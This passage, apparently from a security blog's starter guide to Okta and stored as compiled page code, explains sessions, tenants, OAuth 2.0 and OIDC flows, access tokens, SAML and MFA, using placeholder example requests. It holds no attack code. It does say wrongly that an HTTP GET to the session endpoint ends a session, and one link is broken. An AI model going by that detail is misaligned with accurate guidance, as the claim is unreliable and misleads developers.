\",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en-us/content/topics/security/network/network-zones.htm\",rel:\"nofollow\",children:\"Network Zones\"}),\" in Okta enhances access control by managing it based on user connection sources. These zones, allowing for configurations based on IP addresses and geolocations, integrate with access policies to enforce varied authentication requirements based on network origin. This integration bolsters security and aids in monitoring and threat assessment.\"]}),`\n`,(0,t.jsx)(e.h1,{id:\"session-management\",children:\"Session management\"}),`\n`,(0,t.jsx)(e.p,{children:\"In web-based interactions involving Identity Providers (IdPs) like Okta and Service Providers (SPs), the concept of a session is central to the user experience and security framework. A session is typically initiated when an end-user starts an interaction with an IdP or SP via a web browser, whether this interaction is intentional or inadvertent.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Technically, a session represents a state of interaction between the user and the web service. Unlike a single request-response communication, a session persists over time, maintaining the user's state and context across multiple interactions. This persistence is crucial, as it allows the user to interact with web services without needing to authenticate for each action or request after the initial login.\"}),`\n`,(0,t.jsx)(e.p,{children:\"A session can hold a variety of important data, which is essential for maintaining the state and context of the user's interactions. This includes, but is not limited to:\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.em,{children:\"Cookies\"}),\": These are used to store session identifiers and other user-specific information, allowing the web service to recognize the user across different requests.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.em,{children:\"Tokens\"}),\": Including access, refresh, and ID tokens, these are critical for authenticating and authorizing the user, and for maintaining the security of their interactions with the web service.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.em,{children:\"User Preferences and Settings\"}),\": Customizations or preferences set by the user during their interaction.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.em,{children:\"Session Expiration Data\"}),\": Information about when the session will expire or needs to be refreshed. This is vital for security, ensuring that sessions don\\u2019t remain active indefinitely, which could pose a security risk.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The management of sessions, particularly their creation, maintenance, and timely expiration is a crucial aspect of web-based services. Effective session management ensures a balance between user convenience \\u2014 by reducing the need for repeated logins \\u2014 and security \\u2014 by minimizing the risk of unauthorized access through abandoned or excessively long-lived sessions. In the interactions between the end-user, IdP, and SP, sessions facilitate a seamless yet secure flow of requests and responses, underpinning the overall security and usability of the service.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"session-initialization-and-authentication\",children:\"Session initialization and authentication:\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Okta manages \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/session/\",rel:\"nofollow\",children:\"user sessions\"}),\" beginning with the IdP session, which is established when a user successfully authenticates using their credentials, and potentially multi-factor authentication (MFA). This IdP session is key to accessing various applications integrated into an organization's Okta environment. For instance, an HTTP POST request to Okta's \",(0,t.jsx)(e.code,{children:\"/api/v1/authn\"}),\" endpoint initiates this session by validating the user's credentials. In addition, the \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Session/\",rel:\"nofollow\",children:\"Sessions endpoint API\"}),\" can help facilitate creation and management at \",(0,t.jsx)(e.code,{children:\"/api/v1/sessions\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Okta primarily uses cookies for session management, specifically in the context of identity provider (IdP) sessions. These cookies are crucial for maintaining the session state and user context across HTTP requests within the Okta environment. A typical session cookie retrieval for the end-user\\u2019s browser goes as follows:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"IdP or SP-initiated application access request\"}),`\n`,(0,t.jsx)(e.li,{children:\"Authentication request either via OIDC or SAML\"}),`\n`,(0,t.jsx)(e.li,{children:\"After successful credential validation, a session token is returned\"}),`\n`,(0,t.jsx)(e.li,{children:\"Redirection to OIDC endpoint, session redirection, or application embed link for session cookie\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"As detailed, when a user successfully authenticates, Okta ultimately sets a session cookie in the user\\u2019s browser. This cookie is then used to track the user session, allowing for seamless interaction with various applications without the need for re-authentication.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"tokens-vs-cookies\",children:\"Tokens vs cookies:\"}),`\n`,(0,t.jsx)(e.p,{children:\"While Okta utilizes tokens like ID and access tokens for API access and authorization, these tokens serve a different purpose from session cookies. Tokens are typically used in API interactions and are not responsible for maintaining the user\\u2019s session state. In contrast, session cookies are specifically designed for maintaining session continuity within the web browser, making them essential for web-based SSO and session management within Okta.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Session tokens are similar to client-side secrets, just like authorization codes during authorization requests. These secrets, along with the correct requests to specific API endpoints can allow an end-user, or adversary, to obtain a session cookie or access token which can then be used to make authenticated/authorized requests on behalf of the user. This should warrant increased security measures for session management and monitoring.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"single-sign-on-sso\",children:\"Single sign-on (SSO):\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://www.okta.com/blog/2021/02/single-sign-on-sso/\",rel:\"nofollow\",children:\"SSO\"}),\" is a critical feature in Okta's session management, allowing users to access multiple applications with a single set of credentials. This is achieved through protocols like SAML and OIDC, where an HTTP(S) request to the SAML endpoint, for instance, facilitates user authentication and grants access across different applications without the need for repeated logins.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"In Single Sign-On (SSO) scenarios, Okta\\u2019s session cookies play a vital role. Once a user is authenticated and a session is established, the same session cookie facilitates access to multiple applications within the SSO framework by bundled with every service provider request. This eliminates the need for the user to log in separately to each application, streamlining the user experience.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"session-termination\",children:\"Session termination:\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Terminating a session in Okta can occur due to expiration. This can also occur from a user, SP, or IdP-initiated sign-out. An HTTP GET request to Okta's \",(0,t.jsx)(e.code,{children:\"/api/v1/sessions/me\"}),\" endpoint can be used to terminate the user\\u2019s session. In the case of SSO, this termination can trigger a single logout (SLO), ending sessions across all accessed applications.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"application-sessions-and-additional-controls\",children:\"Application sessions and additional controls:\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Application sessions are specific to the application a user accesses post-authentication with the IdP. Okta allows fine-grained control over these sessions, including different expiration policies for privileged versus non-privileged applications. Additionally, administrators can implement policies for single logout (\",(0,t.jsx)(e.a,{href:\"https://support.okta.com/help/s/article/What-SLO-does-and-doesnt-do?language=en_US\",rel:\"nofollow\",children:\"SLO\"}),\") or local logout to further manage session lifecycles.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Understanding the mechanics of session initiation, management, and termination, as well as the role of tokens and cookies, is foundational for exploring deeper security topics. This knowledge is crucial when delving into areas like attack analysis and session hijacking, which will be discussed in later parts of this blog series.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"More information on sessions can be found in \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/session/#application-session\",rel:\"nofollow\",children:\"Session management with Okta\"}),\" or \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Session/\",rel:\"nofollow\",children:\"Sessions for Developers\"}),\".\"]}),`\n`,(0,t.jsx)(e.h1,{id:\"tenants\",children:\"Tenants\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In the SaaS realm, a \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/multi-tenancy/\",rel:\"nofollow\",children:\"tenant\"}),\" is a distinct instance of software and infrastructure serving a specific user group. In Okta's \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/multi-tenancy/\",rel:\"nofollow\",children:\"multi-tenant\"}),\" platform, this concept is key for configuring access control. Tenants can represent various groups, from internal employees to external contractors, each requiring unique access to applications. This is managed through Okta, serving as the IdP.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Tenants are versatile within Okta: they can be tailored based on security policies, user groups, roles, and profiles, allowing them to operate independently within the organization. This independence is crucial in multi-tenant environments, where distinct tenants are segregated based on factors like roles, data privacy, and regulatory requirements. Such setups are common in Okta, enabling users to manage diverse access needs efficiently.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In multi-org environments, Okta facilitates tenants across separate organizations through its UD. The configuration of each tenant is influenced by various factors including cost, performance, and data residency, with user types and profiles forming the basis of tenant setup. Additionally, features like delegated admin support and DNS customization for post-sign-in redirects are instrumental in managing tenant access.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Understanding the nuances of tenant configuration in Okta is vital, not only for effective administration but also for comprehending potential security challenges, such as the risk of \",(0,t.jsx)(e.a,{href:\"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/poisoned_tenants/description.md\",rel:\"nofollow\",children:\"poisoned tenants\"}),\".\"]}),`\n`,(0,t.jsx)(e.h1,{id:\"authorization-workflow\",children:\"Authorization workflow\"}),`\n`,(0,t.jsx)(e.p,{children:\"As we discussed earlier, Okta - being an IdP - provides an authorization server as part of its services. It is critical to understand the authorization workflow that happens on the front and back-end channels. For this discussion and examples, we will use the client (end-user), authorization server (Okta), and SP (application server) as the actors involved.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"oauth-20-and-oidc-protocols\",children:\"OAuth 2.0 and OIDC protocols\"}),`\n`,(0,t.jsx)(e.h3,{id:\"high-level-overview-of-oauth\",children:\"High-level overview of OAuth\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"OAuth 2.0, defined in \",(0,t.jsx)(e.a,{href:\"https://datatracker.ietf.org/doc/html/rfc6749\",rel:\"nofollow\",children:\"RFC 6749\"}),\", is a protocol for authorization. It enables third-party applications to gain limited access approved by the end-user or resource owner. Operating over HTTPS, it grants access tokens to authorize users, devices, APIs, servers, and applications.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Key OAuth terminology:\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://www.oauth.com/oauth2-servers/scope/defining-scopes/\",rel:\"nofollow\",children:\"Scopes\"}),\": Define the permissions granted within an access token. They represent session permissions for each interaction with a resource server.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Consent: A process where end users or clients agree or disagree with the permissions (scopes) requested by a client application. For example, a consent screen in Google Workspace.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"http://Tokens\",rel:\"nofollow\",children:\"Tokens\"}),\": Includes access tokens for resource access and refresh tokens for obtaining new access tokens without re-authorizing.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://auth0.com/docs/get-started/applications/confidential-and-public-applications\",rel:\"nofollow\",children:\"Grants\"}),\": Data sent to the authorization server to receive an access token, like an authorization code granted post-authentication.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://auth0.com/docs/get-started/applications/confidential-and-public-applications\",rel:\"nofollow\",children:\"Clients\"}),\": In OAuth, clients are either 'confidential', able to securely store credentials, or 'public', which cannot.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Authorization Server: Mints OIDC and OAuth tokens and applies access policies, each with a unique URI and signing key.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://cloudentity.com/developers/basics/oauth-grant-types/authorization-code-flow/#:~:text=The%20user%20authenticates%20with%20their,server%20issues%20an%20authorization%20code.\",rel:\"nofollow\",children:\"Authorization Endpoint\"}),\": An API endpoint (/oauth/authorize) for user interaction and authorization.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://cloudentity.com/developers/basics/oauth-grant-types/authorization-code-flow/#:~:text=The%20user%20authenticates%20with%20their,server%20issues%20an%20authorization%20code.\",rel:\"nofollow\",children:\"Token Endpoint\"}),\": An API endpoint (/oauth/token) for clients to obtain access or refresh tokens, typically requiring a grant type like authorization code.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Resource Server (or Service Provider, SP): Provides services to authenticated users, requiring an access token.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Front-end Channel: Communication between the user\\u2019s browser and the authorization or resource server.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Back-end Channel: Machine-to-machine communication, such as between resource and authorization servers.\"}),`\n`,(0,t.jsx)(e.p,{children:\"This streamlined overview covers the essentials of OAuth in the Okta ecosystem, focusing on its function, key terms, and components.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"high-level-overview-of-oidc\",children:\"High-level overview of OIDC\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"At the beginning of this blog, we also discussed how \",(0,t.jsx)(e.a,{href:\"https://openid.net/specs/openid-connect-core-1_0.html\",rel:\"nofollow\",children:\"OIDC\"}),\" is an identity authentication protocol that sits on top of the OAuth authorization framework. While OAuth provides authorization, it has no current mechanism for authentication, thus where OIDC protocol comes in handy. The identity of the authenticated user is often called the resource owner.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The OIDC connect flow looks similar to the OAuth flow, however during the initial HTTPS request, scope=openid is added to be used so that not only an access token is returned from the authorization server but an ID token as well.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The ID token is formatted as a JSON Web Token (JWT) so that the client can extract information about the identity. This is unlike the access token, which the client passes to the resource server every time access is required. Data such as expiration, issuer, signature, email, and more can be found inside the JWT - these are also known as claims.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"authorization-code-flow\",children:\"Authorization code flow\"}),`\n`,(0,t.jsx)(e.h3,{id:\"step-1---initial-authorization-request\",children:\"Step 1 - Initial authorization request:\"}),`\n`,(0,t.jsx)(e.p,{children:\"The authorization code flow is initiated when the client sends an HTTP GET request to Okta\\u2019s authorization endpoint. This request is crucial in establishing the initial part of the OAuth 2.0 authorization framework.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Here\\u2019s a breakdown of the request components:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Endpoint: The request is directed to \",(0,t.jsx)(e.code,{children:\"/oauth2/default/v1/authorize\"}),\", which is Okta\\u2019s authorization endpoint\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Parameters:\",`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"response_type=code\"}),\": This parameter specified that the application is initiating an authorization code grant type flow.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"client_id\"}),\": The unique identifier for the client application registered with Okta.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"redirect_uri\"}),\": The URL to which Okta will send the authorization code.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"scope\"}),\": Defines the level of access the application is requesting.\"]}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Example Request:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`GET /oauth2/default/v1/authorize?response_type=code \\\\ \n\u0026client_id=CLIENT_ID\u0026redirect_uri=REDIRECT_URI\u0026scope=SCOPE\n`})}),`\n`,(0,t.jsx)(e.h3,{id:\"step-2---user-authentication-and-consent\",children:\"Step 2 - User authentication and consent:\"}),`\n`,(0,t.jsx)(e.p,{children:\"Once the request is made, the user is prompted to authenticate with Okta and give consent for the requested scopes. This step is fundamental for user verification and to ensure that the user is informed about the type of access being granted to the application.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"step-3---authorization-code-reception\",children:\"Step 3 - Authorization code reception:\"}),`\n`,(0,t.jsx)(e.p,{children:\"Post authentication and consent, Okta responds to the client with an authorization code. This code is short-lived and is exchanged for a more permanent secret to make further requests - an access token.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Example token exchange request:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`POST /oauth2/default/v1/token\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=authorization_code\u0026\ncode=AUTHORIZATION_CODE\u0026\nredirect_uri=REDIRECT_URI\u0026\nclient_id=CLIENT_ID\u0026\nclient_secret=CLIENT_SECRET\n`})}),`\n`,(0,t.jsx)(e.h3,{id:\"step-4---redirect-uris-and-client-authentication\",children:\"Step 4 - Redirect URIs and client authentication\"}),`\n`,(0,t.jsx)(e.p,{children:\"Redirect URIs play a pivotal role in the security of the OAuth 2.0 flow. They are pre-registered URLs to which Okta sends the authorization code. The integrity of these URIs is paramount, as they ensure that the response is only sent to the authorized client.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The client application is authenticated at the token endpoint, usually by providing the \",(0,t.jsx)(e.code,{children:\"client_id\"}),\" and \",(0,t.jsx)(e.code,{children:\"client_secret\"}),\". This step is crucial to verify the identity of the client application and prevent unauthorized access.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"step-5---token-exchange\",children:\"Step 5 - Token exchange\"}),`\n`,(0,t.jsx)(e.p,{children:\"In the final step, the client makes an HTTP POST request to Okta\\u2019s token endpoint, exchanging the authorization code for an access token. This access token is then used to make API requests on behalf of the user.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The inclusion of client credentials (client ID and client secret) in this request is a critical security measure, ensuring that the token is only issued to the legitimate client.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"access-tokens-and-scopes\",children:\"Access tokens and scopes\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"An \",(0,t.jsx)(e.a,{href:\"https://www.okta.com/identity-101/access-token/\",rel:\"nofollow\",children:\"access token\"}),\" is a compact code carrying extensive data about a user and their permissions. It serves as a digital key, facilitating communication between a server and a user's device. Commonly used in various websites, access tokens enable functionalities like logging in through one website (like Facebook) to access another (like Salesforce).\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"composition-of-an-access-token\",children:\"Composition of an access token:\"}),`\n`,(0,t.jsx)(e.p,{children:\"An access token typically comprises three distinct parts, each serving a specific purpose:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"Header\"}),\": This section contains metadata about the token, including the type of token and the algorithm used for encryption.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"Payload (claims)\"}),\": The core of the token, includes user-related information, permissions, group memberships, and expiration details. The payload dictates whether a user can access a specific resource, depending on the permissions granted within it. Developers can embed custom data in the payload, allowing for versatile applications, such as a single token granting access to multiple APIs.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"Signature\"}),\": A hashed verification segment that confirms the token's authenticity. This makes the token secure and challenging to tamper with or replicate.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"A common format for access tokens JWT as we previously discussed, which is concise yet securely encodes all necessary information.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"scopes-and-permissions\",children:\"Scopes and permissions:\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/api/oauth2/\",rel:\"nofollow\",children:\"Scopes\"}),\" in OAuth 2.0 are parameters that define the level and type of access the client requests. Each scope translates into specific permissions granted to the access token. For instance, a scope of email would grant the client application access to the user's email address. The granularity of scopes allows for precise control over what the client can and cannot do with the access token, adhering to the principle of least privilege.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"token-lifespan-and-refresh-tokens\",children:\"Token lifespan and refresh tokens:\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Access tokens are inherently short-lived for security reasons, reducing the window of opportunity for token misuse in case of unintended disclosure. Okta allows customization of \",(0,t.jsx)(e.a,{href:\"https://support.okta.com/help/s/article/What-is-the-lifetime-of-the-JWT-tokens?language=en_US#:~:text=ID%20Token%3A%2060%20minutes,Refresh%20Token%3A%2090%20days\",rel:\"nofollow\",children:\"token lifespans\"}),\" to suit different security postures. Once an access token expires, it can no longer be used to access resources.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/guides/refresh-tokens/main/\",rel:\"nofollow\",children:\"Refresh tokens\"}),\", where employed, serve to extend the session without requiring the user to authenticate again. A refresh token can be exchanged for a new access token, thus maintaining the user's access continuity to the application. The use of refresh tokens is pivotal in applications where the user remains logged in for extended periods.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"token-storage\",children:\"Token storage:\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Regarding \",(0,t.jsx)(e.a,{href:\"https://auth0.com/docs/secure/security-guidance/data-security/token-storage\",rel:\"nofollow\",children:\"token storage\"}),\", browser-based applications such as those utilizing services like Okta, are vital secure storage of access tokens is a critical aspect of user session management. These tokens are typically stored using one of several methods: browser in-memory storage, session cookies, or browser local/session storage. In-memory storage, preferred for its strong defense against XSS attacks, holds the token within the JavaScript memory space of the application, although it loses the token upon page refresh or closure. Session cookies offer enhanced security by being inaccessible to JavaScript, thereby reducing XSS vulnerabilities, but require careful implementation to avoid CSRF attacks. Local and session storage options, while convenient, are generally less recommended for sensitive data like access tokens due to their susceptibility to XSS attacks. The choice of storage method will depend on the application where a traditional web page, mobile device, or single-page app is being used.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"security-and-expiration\",children:\"Security and expiration:\"}),`\n`,(0,t.jsx)(e.p,{children:\"The security of access tokens is of paramount importance in safeguarding user authentication and authorization processes, especially during their transmission over the internet. Encrypting these tokens is crucial, as it ensures that their contents remain confidential and impervious to unauthorized access. Equally important is the use of secure communication channels, notably HTTPS, to prevent the interception and compromise of tokens in transit. Furthermore, the signature component of a token, particularly in JWTs, plays a vital role in verifying its authenticity and integrity. This signature confirms that the token has not been altered and is genuinely issued by a trusted authority, thus preventing the risks associated with token forgery and replay attacks.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Access tokens are inherently designed with expiration mechanisms, a strategic choice to mitigate the risks associated with token theft or misuse. This finite lifespan of tokens necessitates regular renewal, typically managed through refresh tokens, thereby ensuring active session management and reducing opportunities for unauthorized use. The storage and handling of these tokens in client applications also significantly impact their overall security. Secure storage methods, such as in-memory or encrypted cookies, alongside careful management of token renewal processes, are essential to prevent unauthorized access and maintain the robustness of user sessions and access controls.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"authentication-workflow\",children:\"Authentication workflow\"}),`\n`,(0,t.jsx)(e.h2,{id:\"authentication-vs-authorization\",children:\"Authentication vs authorization\"}),`\n`,(0,t.jsx)(e.p,{children:\"Before we dive into authentication in Okta, we should take a moment to understand the difference between authentication and authorization. To put it simply, authentication is providing evidence to prove identity, whereas authorization is about permissions and privileges once access is granted.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As we discussed throughout this blog, the Identity Engine and UD are critical to identity management in Okta. As a recap, the Identity Engine is used for enrolling, authentications, and authorizing users. The UD is used as the main directory service in Okta that contains users, groups, profiles, and policies, also serving as the source of truth for user data. The UD can be synchronized with other directory services such as AD or LDAP through the Okta endpoint agent.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Identity management can be managed via Okta or through an external IdP, such as Google Workspace. Essentially, when access to an application is requested, redirection to the authorization server\\u2019s endpoint APIs for authentication are generated to provide proof of identity.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Below are the main authentication protocols between the end user, resource server, and authorization server:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"OIDC: Authentication protocol that sits on top of the OAuth authorization framework. Workflow requires an ID token (JWT) to be obtained during an access token request.\"}),`\n`,(0,t.jsx)(e.li,{children:\"SAML: Open standard protocol formatted in XML that facilitates user identity data exchange between SPs and IdPs.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Within Okta, there is plenty of flexibility and customization regarding authentication. Basic authentication is supported where simple username and password schemes are used over HTTP with additional parameters and configurations.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"saml-in-authentication\",children:\"SAML in authentication\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As previously stated, \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/saml/\",rel:\"nofollow\",children:\"SAML\"}),\" is a login standard that helps facilitate user access to applications based on HTTP(s) requests and sessions asynchronously. Over time the use of basic credentials for each application quickly became a challenge and thus federated identity was introduced to allow identity authentication across different SPs, facilitated by the identity providers.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"SAML is primarily a web-based authentication mechanism as it relies on a flow of traffic between the end user, IdP, and SP. The SAML authentication flow can either be IdP or SP initiated depending on where the end user visits first for application access.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The SAML request is typically generated by the SP whereas the SAML response is generated by the IdP. The response contains the SAML assertion, which contains information about the authenticated user\\u2019s identity and a signed signature by the IdP.\"}),`\n`,(0,t.jsx)(e.p,{children:\"It is important to note that during the SAML workflow, the IdP and SP typically never communicate directly, but instead rely on the end user\\u2019s browser for redirections. Typically, the SP trusts the IdP and thus the identity data forwarded through the user\\u2019s web browser to the SP is trusted in access is granted to the application requested.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/starter-guide-to-understanding-okta/image1.png\",alt:\"Diagram depicting Okta SAML authentication process\",width:\"1440\",height:\"778\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In step 5 from the diagram above, the SAML assertion would be sent as part of this response after the user has authenticated with the IdP. Remember that the assertion is in XML format and can be quite extensive as it contains identity information for the SP to parse and rely on for the end user\\u2019s identity verification. Generic examples of SAML assertions are \",(0,t.jsx)(e.a,{href:\"https://www.samltool.com/generic_sso_res.php\",rel:\"nofollow\",children:\"provided\"}),\" by OneLogin. Auth0 also \",(0,t.jsx)(e.a,{href:\"https://samltool.io/\",rel:\"nofollow\",children:\"provides\"}),\" a decoder and parser for these examples as well which is shown in the image below.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/starter-guide-to-understanding-okta/image2.png\",alt:\"Auth0 decoder and parser for SAML\",width:\"1440\",height:\"949\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"idp-vs-sp-responsibilities\",children:\"IdP vs SP responsibilities\"}),`\n`,(0,t.jsx)(e.p,{children:\"When discussing the roles and responsibilities of the SP and IdP, keep in mind that the SP is meant to provide access to applications for the end user, whereas the IdP provides authentication and authorization. The SP and IdP are typically set up to trust each other with their designated responsibilities. Depending on the end user, workflows for authentication and authorization can be SP or IdP initiated where RESTful API endpoints are typically depended on for each workflow. For authentication, requests and responses are sent from the IdP and SP but often proxied through the end user\\u2019s browser.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Although Okta is mainly an IdP and provides authentication and authorization services, it can also be used as an SP. Previously we discussed how Okta\\u2019s integration network allows for various 3rd-party applications to be connected and accessible to users through their dashboard. We also explained how authentication workflows can be SP initiated, meaning users could visit their Okta dashboard to request access to an application. At the same time, a 3rd-party IdP could be established such as Google Workspace or Azure AD which would handle the authentication and authorization of the user. If the user were to request access with this type of setup, Okta would then redirect the user to Azure AD for authentication.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"single-factor-vs-multi-factor-authentication\",children:\"Single-factor vs multi-factor authentication\"}),`\n`,(0,t.jsx)(e.p,{children:\"Single-factor authentication (SFA) is the simplest form of authentication, requiring a user to supply one credential object for authentication. Commonly, users are familiar with password-based authentication methods where a username and password are supplied to validate themselves. This of course has security implications if the credentials used are stolen as they can be used by an adversary to login and access the same resources.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Multifactor authentication (MFA) is similar to SFA, except it requires two or more types of credentials or evidence to be supplied for authentication, typically in sequence. For example, a password-based credential may be supplied and once verified by the IdP, then requested by an OTP be supplied by a mobile device authenticator application, SMS message, email, and others. The common types of authentication factors are something that the user knows, possesses, or is inherent. This also increases the complexity to adversaries based on randomized string generation for OTPs and MFA token expirations.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Okta enables other types of authentication methods such as passwordless, risk-based, biometric, transaction, and others. A full list of authentication methods and descriptions can be found \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/iam-overview-authentication-factors/#authentication-methods\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Every application or integration added to the Okta organization has an \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/oie/en-us/content/topics/identity-engine/policies/about-app-sign-on-policies.htm\",rel:\"nofollow\",children:\"authentication policy\"}),\", which verifies conditions for users who attempt to access each application. Authentication policies can also help enforce factor requirements based on these conditions where the UD and user profile are used to analyze information about the user. Authentication policies can be set globally for applications and users or can be more granular if set at the application level where specific user conditions are met. Authentication policies can be updated, cloned, preset, and merged if duplicate policies. Rules that define these granular conditions can be applied to these authentication policies with the Okta Expression Language (\",(0,t.jsx)(e.a,{href:\"https://help.okta.com/oie/en-us/content/topics/identity-engine/devices/el-about.htm\",rel:\"nofollow\",children:\"EL\"}),\").\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"client-side-and-server-side-communications\",children:\"Client-side and server-side communications\"}),`\n`,(0,t.jsx)(e.p,{children:\"Understanding the distinction between front-end (user-browser interactions) and back-end (server-to-server communications) is crucial in web-based authentication systems. Front-end interactions typically involve user interfaces and actions, while back-end channels handle critical exchanges like SAML assertions or OAuth tokens, crucial for secure authentication.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In Okta's framework, the interplay between browser and server is key for security and user experience. When a user logs in via Okta, the browser first authenticates with Okta, which then sends back the necessary tokens. These are forwarded to the application server which validates them with Okta, ensuring a secure, behind-the-scenes token exchange.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Okta\\u2019s token management is marked by stringent security. 